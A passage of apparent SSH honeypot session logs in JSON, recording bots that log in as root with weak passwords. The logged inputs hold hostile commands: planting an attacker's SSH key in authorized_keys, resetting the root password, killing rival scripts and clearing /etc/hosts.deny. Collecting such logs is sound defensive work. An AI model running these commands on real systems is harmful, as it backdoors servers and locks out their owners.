PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:28:44.712007+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:28:45.132141+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:28:45.591081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:28:46.007336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:28:46.464506+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:28:47.286883+00:00","kind":"output","latency_ms":null,"data":"top - 11:28:47 up 7 days, 8:18, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:28:47.743011+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:28:48.192749+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:28:48.649366+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:28:49.132371+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:28:49.586854+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:28:49.904601+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:28:50.365998+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:28:51.576243+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:28:52.030880+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:28:52.985743+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5454","method":"password","accepted":true,"tier":"other"}]} {"id":"1e946322-b3b0-4a41-8174-8fdf7e3823c4","name":"nautical-fleeting-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38880,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:25:47.741804+00:00","ended_at":"2026-08-27T11:25:48.902807+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T11:25:19.771706+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:25:20.032818+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:25:24.099131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:25:25.624102+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:25:25.885150+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KoS03niMRvpi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:25:26.147125+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:25:26.404242+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:25:27.620910+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:25:28.412389+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:25:28.673821+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:25:29.485711+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:25:29.752541+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:25:30.663479+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:25:30.926199+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:25:32.260038+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:25:32.520029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:25:34.665908+00:00","kind":"output","latency_ms":null,"data":" 11:25:34 up 7 days, 8:15, 0 user, load average: 0.18, 0.19, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:25:34.928235+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:25:36.256142+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:25:36.517125+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:25:37.332335+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:25:37.598900+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:25:39.699857+00:00","kind":"output","latency_ms":null,"data":"top - 11:25:39 up 7 days, 8:15, 0 user, load average: 0.18, 0.19, 0.22\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:25:39.960063+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:25:41.679811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:25:41.944262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:25:44.030959+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:25:44.298336+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:25:45.400389+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:25:45.662507+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:25:47.482555+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:25:47.742722+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:25:48.827903+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!q2w3e4r5t","method":"password","accepted":true,"tier":"other"}]} {"id":"91abbb7b-49ed-451c-8cfe-7e9478c5b09f","name":"bronzed-lawful-otter","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":40558,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:25:23.670426+00:00","ended_at":"2026-08-27T11:25:24.758400+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-27T11:24:56.384619+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:24:57.157543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:25:03.019091+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:25:03.767293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:25:04.535934+00:00","kind":"input","latency_ms":null,"data":"echo \"root:kPlQTUDEVSQw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:25:05.317437+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:25:06.090078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:25:06.421048+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:25:07.190855+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:25:08.139663+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:25:08.915461+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:25:10.379489+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:25:11.156834+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:25:11.700882+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:25:12.471249+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:25:13.098517+00:00","kind":"output","latency_ms":null,"data":" 11:25:13 up 7 days, 8:15, 0 user, load average: 0.22, 0.21, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:25:13.871600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:25:14.240900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:25:15.013243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:25:15.632474+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:25:16.422372+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:25:16.969955+00:00","kind":"output","latency_ms":null,"data":"top - 11:25:16 up 7 days, 8:15, 0 user, load average: 0.22, 0.21, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:25:17.739885+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:25:18.276703+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:25:19.038461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:25:19.306466+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:25:20.077579+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:25:20.818115+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:25:21.590887+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:25:22.897854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:25:23.671625+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:25:24.513272+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"24d7c804-9fde-44f8-8e50-745fa44a1dfe","name":"buoyant-frank-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58984,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:20:44.739478+00:00","ended_at":"2026-08-27T11:20:45.964341+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:20:23.973864+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:20:24.432160+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:20:28.434540+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:20:28.731337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:20:29.187468+00:00","kind":"input","latency_ms":null,"data":"echo \"root:OIa1kvwL7vUD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:20:29.642927+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:20:30.098312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:20:30.930420+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:20:31.387193+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:20:32.140495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:20:32.604080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:20:33.658463+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:20:34.116747+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:20:34.670262+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:20:35.139770+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:20:35.892404+00:00","kind":"output","latency_ms":null,"data":" 11:20:35 up 7 days, 8:10, 0 user, load average: 0.14, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:20:36.346663+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:20:36.740414+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:20:37.199086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:20:37.593199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:20:38.049809+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:20:38.879120+00:00","kind":"output","latency_ms":null,"data":"top - 11:20:38 up 7 days, 8:10, 0 user, load average: 0.14, 0.16, 0.11\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:20:39.339037+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:20:39.862703+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:20:40.319312+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:20:40.873116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:20:41.324254+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:20:42.219649+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:20:42.680586+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:20:44.283469+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:20:44.740384+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:20:45.825129+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty12","method":"password","accepted":true,"tier":"other"}]} {"id":"d0642adb-af0b-4529-9eda-cb5c44c3472a","name":"thorny-gritty-chough","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58958,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:18:08.352740+00:00","ended_at":"2026-08-27T11:18:09.823471+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-27T11:17:46.933355+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:17:47.380632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:17:51.527944+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:17:51.888655+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:17:52.334969+00:00","kind":"input","latency_ms":null,"data":"echo \"root:o9g63CVUxNJ1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:17:52.780463+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:17:53.226166+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:17:53.781124+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:17:54.229099+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:17:55.382557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:17:55.840874+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:17:56.902579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:17:57.349111+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:17:57.827952+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:17:58.275826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:17:59.045253+00:00","kind":"output","latency_ms":null,"data":" 11:17:59 up 7 days, 8:08, 0 user, load average: 0.05, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:17:59.492385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:18:00.373554+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:18:00.818176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:18:01.637809+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:18:02.085300+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:18:02.360613+00:00","kind":"output","latency_ms":null,"data":"top - 11:18:02 up 7 days, 8:08, 0 user, load average: 0.05, 0.04, 0.04\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:18:02.807327+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:18:03.600811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:18:04.046674+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:18:04.619287+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:18:05.074646+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:18:05.833544+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:18:06.293347+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:18:07.906774+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:18:08.353695+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 